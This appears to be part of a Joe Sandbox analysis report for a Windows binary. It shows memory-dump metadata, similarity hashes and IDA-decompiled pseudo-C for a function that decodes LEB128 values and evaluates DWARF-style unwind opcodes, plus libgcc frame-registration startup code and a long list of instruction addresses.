abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: fc967670e09daf8743af307f97dbb9202db20724fdfe36c66867ff06c7fa0938
Instruction ID: 46e05063083f3cfc686c5350d9f4b51837a1f2dd6ef0a66211ff1b87ac26fea2
Opcode Fuzzy Hash: fc967670e09daf8743af307f97dbb9202db20724fdfe36c66867ff06c7fa0938
Instruction Fuzzy Hash: B2216B31B082354AC3306E19B18127BE7A72B71394FDA0637E56493375E65EED09D28E

Uniqueness

Uniqueness Score: -1.00%

Function 00421E40 Relevance: 21.1, APIs: 14, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00421E40(CHAR* __ebx, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t188;
				struct HINSTANCE__* _t191;
				_Unknown_base(*)()* _t192;
				CHAR* _t194;
				struct HINSTANCE__* _t196;
				_Unknown_base(*)()* _t202;
				void* _t207;
				char** _t208;
				char** _t209;
				struct HINSTANCE__** _t211;
				struct HINSTANCE__** _t212;

				L0:
				while(1) {
					L0:
					_t194 = __ebx;
					do {
						L71:
						__ebx = __ebx + 1;
						 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
						__eax = ( *(__ebx - 1) & 0x7f) << __cl;
						__ecx = __ecx + 7;
						__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
					} while (__dl < 0);
					__edi = 0;
					__ecx = 0;
					do {
						L73:
						__ebx = __ebx + 1;
						__eax =  *(__ebx - 1) & 0x000000ff;
						 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
						__ecx = __ecx + 7;
						__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
					} while (__al < 0);
					if(__ecx <= 0x1f) {
						if((__al & 0x00000040) != 0) {
							1 = 1 << __cl;
							__eax =  ~(1 << __cl);
							__edi = __edi |  ~(1 << __cl);
						}
					}
					if(__esi > 0x11) {
						L129:
						abort();
						L0042F4C0();
						abort();
						L132:
						abort();
						L133:
						abort();
						L134:
						L0042F4C0();
						L0042F4C0();
						L135:
						abort();
						L136:
						abort();
						L137:
						abort();
						L138:
						abort();
						L139:
						abort();
						L140:
						abort();
						L141:
						abort();
						L1:
						_push(0);
						_t208 = _t207 - 0x1c;
						 *_t208 = "libgcc_s_dw2-1.dll";
						_t188 = GetModuleHandleA(_t194);
						_t209 = _t208 - 4;
						if(_t188 == 0) {
							 *0x4b6004 = 0x424590;
							_t202 = E00424340;
						} else {
							_t196 = _t188;
							 *_t209 = "libgcc_s_dw2-1.dll";
							_t191 = LoadLibraryA(??);
							_t211 = _t209 - 4;
							 *0x607df0 = _t191;
							_v40 = "__register_frame_info";
							 *_t211 = _t196;
							_t192 = GetProcAddress(??, ??);
							_t212 = _t211 - 8;
							_t202 = _t192;
							_v40 = "__deregister_frame_info";
							 *_t212 = _t196;
							 *0x4b6004 = GetProcAddress(??, ??);
							_t209 = _t212 - 8;
						}
						if(_t202 != 0) {
							_v40 = 0x60701c;
							 *_t209 = 0x5ca0f8;
							 *_t202();
						}
						 *_t209 = 0x401590;
						return E004014C0();
					} else {
						L77:
						__ecx = _a28;
						__eax =  *(__ecx + __esi * 4);
						if(( *(__ecx + 0x63) & 0x00000040) == 0) {
							L79:
							if(__dl != 4) {
								goto L129;
							} else {
								L80:
								__eax =  *__eax;
								goto L81;
							}
						} else {
							L78:
							if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
								L81:
								__edi = __edi + __eax;
								__ebp = _a20;
								__esi = __ebx;
								while(1) {
									L10:
									if(__ebp > 0x3f) {
										goto L129;
									}
									L11:
									__eax =  &_a1;
									 *(__esp + 0x30 + __ebp * 4) = __edi;
									_a20 =  &_a1;
									while(1) {
										L12:
										if(_a24 <= __esi) {
											break;
										}
										L7:
										__eax =  *__esi & 0x000000ff;
										__ebx = __esi + 1;
										__ecx = __eax - 3;
										if(__cl > 0xee) {
											L96:
											abort();
											goto L97;
										} else {
											L8:
											__ecx = __cl & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
												case 0:
													L9:
													__ebp = _a20;
													__edi =  *(__esi + 1);
													__esi = __esi + 5;
													__eflags = __esi;
													goto L10;
												case 1:
													goto L96;
												case 2:
													L22:
													__eax = _a20;
													__eflags = __eax;
													if(__eax == 0) {
														goto L129;
													} else {
														L23:
														__ebp = __eax;
														__ebp =  &_v1;
														__edi =  *(__esp + 0x30 + __ebp * 4);
														__eflags = __dl - 0x1f;
														if(__eflags == 0) {
															L110:
															__edi =  ~__edi;
															__esi = __ebx;
														} else {
															L24:
															if(__eflags <= 0) {
																L97:
																__eflags = __dl - 6;
																if(__dl != 6) {
																	L99:
																	__eflags = __dl - 0x19;
																	if(__dl != 0x19) {
																		goto L96;
																	} else {
																		L100:
																		__eax = __edi;
																		__esi = __ebx;
																		__eax = __edi >> 0x1f;
																		__edi = __edi ^ __eax;
																		__edi = __edi - __eax;
																	}
																} else {
																	L98:
																	__edi =  *__edi;
																	__esi = __ebx;
																}
															} else {
																L25:
																__eflags = __dl - 0x23;
																if(__dl == 0x23) {
																	L102:
																	__esi = 0;
																	__ecx = 0;
																	__eflags = 0;
																	do {
																		L103:
																		__ebx = __ebx + 1;
																		__edx =  *(__ebx - 1) & 0x000000ff;
																		 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
																		__eax = ( *(__ebx - 1) & 0x7f) << __cl;
																		__ecx = __ecx + 7;
																		__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
																		__eflags = __dl;
																	} while (__dl < 0);
																	__edi = __edi + __esi;
																	__esi = __ebx;
																} else {
																	L26:
																	__eflags = __dl - 0x94;
																	if(__dl != 0x94) {
																		L95:
																		__eflags = __dl - 0x20;
																		if(__dl == 0x20) {
																			L109:
																			__edi =  !__edi;
																			__esi = __ebx;
																		} else {
																			goto L96;
																		}
																	} else {
																		L27:
																		__eax =  *(__esi + 1) & 0x000000ff;
																		__edx = __esi + 2;
																		__eflags = __al - 2;
																		if(__eflags == 0) {
																			L128:
																			__edi =  *__edi & 0x0000ffff;
																			__esi = __edx;
																		} else {
																			L28:
																			if(__eflags <= 0) {
																				L107:
																				__eflags = __al - 1;
																				if(__al != 1) {
																					goto L96;
																				} else {
																					L108:
																					__edi =  *__edi & 0x000000ff;
																					__esi = __edx;
																				}
																			} else {
																				L29:
																				__eflags = __al - 4;
																				if(__al == 4) {
																					L31:
																					__edi =  *__edi;
																					__esi = __edx;
																				} else {
																					L30:
																					__eflags = __al - 8;
																					if(__al != 8) {
																						goto L96;
																					} else {
																						goto L31;
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
														goto L10;
													}
													goto L142;
												case 3:
													L21:
													__edi =  *(__esi + 1) & 0x000000ff;
													__ebp = _a20;
													__esi = __esi + 2;
													goto L10;
												case 4:
													L20:
													__edi =  *(__esi + 1);
													__ebp = _a20;
													__esi = __esi + 2;
													goto L10;
												case 5:
													L19:
													__edi =  *(__esi + 1) & 0x0000ffff;
													__ebp = _a20;
													__esi = __esi + 3;
													goto L10;
												case 6:
													L18:
													__edi =  *(__esi + 1);
													__ebp = _a20;
													__esi = __esi + 3;
													goto L10;
												case 7:
													L16:
													__edi =  *(__esi + 1);
													__ebp = _a20;
													__esi = __esi + 9;
													goto L10;
												case 8:
													L68:
													__esi = __ebx;
													__edi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L69:
														__esi = __esi + 1;
														__edx =  *(__esi - 1) & 0x000000ff;
														 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
														__eax = ( *(__esi - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__ebp = _a20;
													goto L10;
												case 9:
													L63:
													__edi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L64:
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														__edx = __edx & 0x0000007f;
														__eax = (__edx & 0x0000007f) << __cl;
														__ecx = __ecx + 7;
														__edi = __edi | (__edx & 0x0000007f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__eflags = __ecx - 0x1f;
													if(__ecx > 0x1f) {
														goto L94;
													} else {
														L66:
														__edx = __edx & 0x00000040;
														__eflags = __edx;
														if(__edx == 0) {
															goto L94;
														} else {
															L67:
															__eax = 1;
															__ebp = _a20;
															__esi = __ebx;
															1 << __cl =  ~(1 << __cl);
															__edi = __edi |  ~(1 << __cl);
														}
													}
													goto L10;
												case 0xa:
													L61:
													__ebp = _a20;
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L129;
													} else {
														L62:
														__edi =  *(__esp + 0x2c + __ebp * 4);
														__esi = __ebx;
														goto L10;
													}
													goto L142;
												case 0xb:
													L59:
													__eax = _a20;
													__eflags = __eax;
													if(__eax == 0) {
														goto L129;
													} else {
														L60:
														__eax = __eax - 1;
														__esi = __ebx;
														_a20 = __eax;
														goto L12;
													}
													goto L142;
												case 0xc:
													L57:
													__ebp = _a20;
													__eflags = __ebp - 1;
													if(__ebp <= 1) {
														goto L129;
													} else {
														L58:
														__edi =  *(__esp + 0x28 + __ebp * 4);
														__esi = __ebx;
														goto L10;
													}
													goto L142;
												case 0xd:
													L55:
													__ebp = _a20;
													__ecx =  *(__esi + 1) & 0x000000ff;
													__edx = __esi + 2;
													__eax =  &_v1;
													__eflags = __ecx - __eax;
													if(__ecx >= __eax) {
														goto L129;
													} else {
														L56:
														__eax = __eax - __ecx;
														__esi = __edx;
														__edi =  *(__esp + 0x30 + __eax * 4);
														goto L10;
													}
													goto L142;
												case 0xe:
													L89:
													__eax = _a20;
													__eflags = __eax - 1;
													if(__eax <= 1) {
														goto L129;
													} else {
														L90:
														__edx = __eax - 1;
														__eax = __eax - 2;
														__esi =  *(__esp + 0x30 + __eax * 4);
														__ecx =  *(__esp + 0x30 + __edx * 4);
														 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
														__esi = __ebx;
														 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
														goto L12;
													}
													goto L142;
												case 0xf:
													L87:
													__eax = _a20;
													__eflags = __eax - 2;
													if(__eax <= 2) {
														goto L129;
													} else {
														L88:
														__ecx = __eax - 1;
														__edx = __eax - 2;
														__eax = __eax - 3;
														__esi =  *(__esp + 0x30 + __ecx * 4);
														__ebp =  *(__esp + 0x30 + __edx * 4);
														__edi =  *(__esp + 0x30 + __eax * 4);
														 *(__esp + 0x30 + __ecx * 4) = __ebp;
														 *(__esp + 0x30 + __edx * 4) = __edi;
														 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
														__esi = __ebx;
														goto L12;
													}
													goto L142;
												case 0x10:
													L91:
													__eax = _a20;
													__eflags = __eax - 1;
													if(__eax <= 1) {
														goto L129;
													} else {
														L92:
														__ebp = __eax - 2;
														__edx = __edx - 0x1a;
														__ecx =  *(__esp + 0x2c + __eax * 4);
														__edi =  *(__esp + 0x30 + __ebp * 4);
														__eflags = __dl - 0x14;
														if(__dl > 0x14) {
															goto L96;
														} else {
															L93:
															__edx = __dl & 0x000000ff;
															switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
																case 0:
																	goto L111;
																case 1:
																	goto L112;
																case 2:
																	goto L113;
																case 3:
																	goto L114;
																case 4:
																	goto L115;
																case 5:
																	goto L96;
																case 6:
																	goto L116;
																case 7:
																	goto L117;
																case 8:
																	goto L118;
																case 9:
																	goto L119;
																case 0xa:
																	goto L120;
																case 0xb:
																	goto L121;
																case 0xc:
																	goto L122;
																case 0xd:
																	goto L123;
																case 0xe:
																	goto L124;
																case 0xf:
																	goto L125;
																case 0x10:
																	goto L126;
																case 0x11:
																	goto L127;
															}
														}
														goto L10;
													}
													goto L142;
												case 0x11:
													L82:
													__eax = _a20;
													__eflags = __eax;
													if(__eax == 0) {
														goto L129;
													} else {
														L83:
														__eax = __eax - 1;
														__edi = __eax;
														_a20 = __eax;
														__eax = __esi + 3;
														__edx =  *(__esp + 0x30 + __edi * 4);
														__eflags =  *(__esp + 0x30 + __edi * 4);
														if( *(__esp + 0x30 + __edi * 4) == 0) {
															__esi = __eax;
														} else {
															__esi =  *(__esi + 1);
															__esi = __esi + __eax;
														}
														goto L12;
													}
													goto L142;
												case 0x12:
													L86:
													__eax =  *(__esi + 1);
													__esi = __esi +  *(__esi + 1) + 3;
													goto L12;
												case 0x13:
													L85:
													__edi = __eax - 0x30;
													__ebp = _a20;
													__esi = __ebx;
													goto L10;
												case 0x14:
													L50:
													__eax = __eax - 0x50;
													__eflags = __eax - 0x11;
													if(__eax > 0x11) {
														goto L129;
													} else {
														L51:
														__esi = _a28;
														__edx =  *(__eax + 0x6073f4) & 0x000000ff;
														__edi =  *(__esi + __eax * 4);
														__eflags =  *(__esi + 0x63) & 0x00000040;
														if(( *(__esi + 0x63) & 0x00000040) == 0) {
															L53:
															__eflags = __dl - 4;
															if(__dl == 4) {
																goto L39;
															} else {
																L54:
																goto L129;
															}
														} else {
															L52:
															__eflags =  *((char*)(__esi + __eax + 0x6c));
															if( *((char*)(__esi + __eax + 0x6c)) != 0) {
																goto L94;
															} else {
																goto L53;
															}
														}
													}
													goto L142;
												case 0x15:
													L40:
													__ebp = 0;
													__ecx = 0;
													__eflags = 0;
													__esi = __eax;
													do {
														L41:
														__ebx = __ebx + 1;
														__eax =  *(__ebx - 1) & 0x000000ff;
														__eax = __eax & 0x0000007f;
														__edx = (__eax & 0x0000007f) << __cl;
														__ecx = __ecx + 7;
														__ebp = __ebp | (__eax & 0x0000007f) << __cl;
														__eflags = __al;
													} while (__al < 0);
													__edi = __eax;
													__eax = __esi;
													__esi = __edi;
													__eflags = __ecx - 0x1f;
													if(__ecx <= 0x1f) {
														__esi = __esi & 0x00000040;
														__eflags = __esi;
														if(__esi != 0) {
															1 = 1 << __cl;
															__edx =  ~(1 << __cl);
															__ebp = __ebp |  ~(1 << __cl);
														}
													}
													__eax = __eax - 0x70;
													__eflags = __eax - 0x11;
													if(__eax > 0x11) {
														goto L129;
													} else {
														L45:
														__esi = _a28;
														__edx =  *(__eax + 0x6073f4) & 0x000000ff;
														__edi =  *(__esi + __eax * 4);
														__eflags =  *(__esi + 0x63) & 0x00000040;
														if(( *(__esi + 0x63) & 0x00000040) == 0) {
															L47:
															__eflags = __dl - 4;
															if(__dl != 4) {
																goto L129;
															} else {
																L48:
																__edi =  *__edi;
																goto L49;
															}
														} else {
															L46:
															__eflags =  *((char*)(__esi + __eax + 0x6c));
															if( *((char*)(__esi + __eax + 0x6c)) != 0) {
																L49:
																__edi = __edi + __ebp;
																__esi = __ebx;
																__ebp = _a20;
																goto L10;
															} else {
																goto L47;
															}
														}
													}
													goto L142;
												case 0x16:
													L33:
													__esi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L34:
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__eflags = __esi - 0x11;
													if(__esi > 0x11) {
														goto L129;
													} else {
														L36:
														__ecx = _a28;
														__eax =  *(__esi + 0x6073f4) & 0x000000ff;
														__edi =  *(__ecx + __esi * 4);
														__eflags =  *(__ecx + 0x63) & 0x00000040;
														if(( *(__ecx + 0x63) & 0x00000040) == 0) {
															L38:
															__eflags = __al - 4;
															if(__al != 4) {
																goto L129;
															} else {
																L39:
																__edi =  *__edi;
																__ebp = _a20;
																__esi = __ebx;
																goto L10;
															}
														} else {
															L37:
															__eflags =  *((char*)(__ecx + __esi + 0x6c));
															if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
																L94:
																__ebp = _a20;
																__esi = __ebx;
																goto L10;
															} else {
																goto L38;
															}
														}
													}
													goto L142;
												case 0x17:
													goto L0;
												case 0x18:
													L17:
													__esi = __ebx;
													goto L12;
												case 0x19:
													L32:
													__ebx =  *(__esi + 1) & 0x000000ff;
													__edx = _a28;
													__edi =  &_a44;
													__eax = __ebx;
													__eax = L00420C00(__ebx, __ecx, _a28);
													 *__esp =  &_a44;
													__ecx = __esi + 2;
													__edx = __eax;
													__eax = __ebx;
													__eax = E00420AC0(__ebx, __esi + 2, __edx);
													__edi = _a44;
													__ebp = _a20;
													__esi = __eax;
													goto L10;
												case 0x1a:
													L111:
													__edi = __edi & __ecx;
													__esi = __ebx;
													goto L10;
												case 0x1b:
													L112:
													__eax = __edi;
													__esi = __ebx;
													asm("cdq");
													_t169 = __eax % __ecx;
													__eax = __eax / __ecx;
													__edx = _t169;
													__edi = __eax;
													goto L10;
												case 0x1c:
													L113:
													__edi = __edi - __ecx;
													__esi = __ebx;
													goto L10;
												case 0x1d:
													L114:
													__eax = __edi;
													__edx = 0;
													__esi = __ebx;
													_t173 = __eax % __ecx;
													__eax = __eax / __ecx;
													__edx = _t173;
													__edi = _t173;
													goto L10;
												case 0x1e:
													L115:
													__edi = __edi * __ecx;
													__esi = __ebx;
													goto L10;
												case 0x1f:
													L116:
													__edi = __edi | __ecx;
													__esi = __ebx;
													goto L10;
												case 0x20:
													L117:
													__edi = __edi + __ecx;
													__esi = __ebx;
													goto L10;
												case 0x21:
													L118:
													__edi = __edi << __cl;
													__esi = __ebx;
													goto L10;
												case 0x22:
													L119:
													__edi = __edi >> __cl;
													__esi = __ebx;
													goto L10;
												case 0x23:
													L120:
													__edi = __edi >> __cl;
													__esi = __ebx;
													goto L10;
												case 0x24:
													L121:
													__edi = __edi ^ __ecx;
													__esi = __ebx;
													goto L10;
												case 0x25:
													L122:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags == 0x00000000;
													__edi = __eflags == 0;
													goto L10;
												case 0x26:
													L123:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags >= 0x00000000;
													__edi = __eflags >= 0;
													goto L10;
												case 0x27:
													L124:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags > 0x00000000;
													__edi = __eflags > 0;
													goto L10;
												case 0x28:
													L125:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags <= 0x00000000;
													__edi = __eflags <= 0;
													goto L10;
												case 0x29:
													L126:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags < 0x00000000;
													__edi = __eflags < 0;
													goto L10;
												case 0x2a:
													L127:
													__eax = 0;
													__eflags = __edi - __ecx;
													__esi = __ebx;
													__eax = 0 | __eflags != 0x00000000;
													__edi = __eflags != 0;
													goto L10;
											}
										}
										goto L142;
									}
									L13:
									__eax = _a20;
									if(__eax == 0) {
										goto L129;
									} else {
										L14:
										__eax =  *(__esp + 0x2c + __eax * 4);
										__esp = __esp + 0x13c;
										_pop(__ebx);
										_pop(__esi);
										_pop(__edi);
										_pop(__ebp);
										return __eax;
									}
									goto L142;
								}
								goto L129;
							} else {
								goto L79;
							}
						}
					}
					L142:
				}
			}

0x00421e40
0x00421e40
0x00421e40
0x00421e40
0x00421e44
0x00421e44
0x00421e44
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e5b
0x00421e5d
0x00421e60
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6e
0x00421e71
0x00421e73
0x00421e7a
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e87
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae625
0x004ae62a
0x004ae62a
0x004ae62f
0x004ae62f
0x004ae634
0x004ae639
0x004ae639
0x004ae63e
0x004ae63e
0x004ae643
0x004ae643
0x004ae648
0x004ae648
0x004ae650
0x004ae650
0x004ae655
0x004ae655
0x004ae65a
0x004ae65a
0x004014e0
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00421e8d
0x00421e8d
0x00421e8d
0x00421e98
0x00421e9f
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00000000
0x00421b29
0x00421b29
0x00421b2c
0x00421b30
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af0
0x00421af3
0x00421af6
0x00421afe
0x00421fb9
0x00421fb9
0x00000000
0x00421b04
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00421b10
0x00421b10
0x00421b14
0x00421b17
0x00421b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ba0
0x00421ba0
0x00421ba4
0x00421ba6
0x00000000
0x00421bac
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb0
0x00421fb3
0x00422050
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00421be5
0x00422034
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bef
0x00421bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421bf1
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x00000000
0x00000000
0x00421b90
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00421d90
0x00421d90
0x00421d94
0x00421d96
0x00000000
0x00421d9c
0x00421d9c
0x00421d9c
0x00421d9f
0x00421da1
0x00000000
0x00421da1
0x00000000
0x00000000
0x00421d73
0x00421d73
0x00421d77
0x00421d7a
0x00000000
0x00421d80
0x00421d80
0x00421d80
0x00421d84
0x00000000
0x00421d84
0x00000000
0x00000000
0x00421d50
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d5e
0x00421d60
0x00000000
0x00421d66
0x00421d66
0x00421d66
0x00421d68
0x00421d6a
0x00000000
0x00421d6a
0x00000000
0x00000000
0x00421f45
0x00421f45
0x00421f49
0x00421f4c
0x00000000
0x00421f52
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00000000
0x00421f66
0x00000000
0x00000000
0x00421f10
0x00421f10
0x00421f14
0x00421f17
0x00000000
0x00421f1d
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00000000
0x00421f3e
0x00000000
0x00000000
0x00421f70
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
0x00000000
0x00421f8e
0x00000000
0x00000000
0x00421ec0
0x00421ec0
0x00421ec4
0x00421ec6
0x00000000
0x00421ecc
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ed8
0x00421edc
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00000000
0x00421ede
0x00000000
0x00000000
0x00421f00
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00421d10
0x00421d10
0x00421d13
0x00421d16
0x00000000
0x00421d1c
0x00421d1c
0x00421d1c
0x00421d20
0x00421d27
0x00421d2a
0x00421d2e
0x00421d3b
0x00421d3b
0x00421d3e
0x00000000
0x00421d44
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d30
0x00421d30
0x00421d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00421d2e
0x00000000
0x00000000
0x00421c90
0x00421c90
0x00421c92
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cac
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cbd
0x00421cc0
0x00421cc2
0x00421cc2
0x00421cc5
0x00422029
0x0042202b
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cce
0x00421cd1
0x00000000
0x00421cd7
0x00421cd7
0x00421cd7
0x00421cdb
0x00421ce2
0x00421ce5
0x00421ce9
0x00421cf2
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
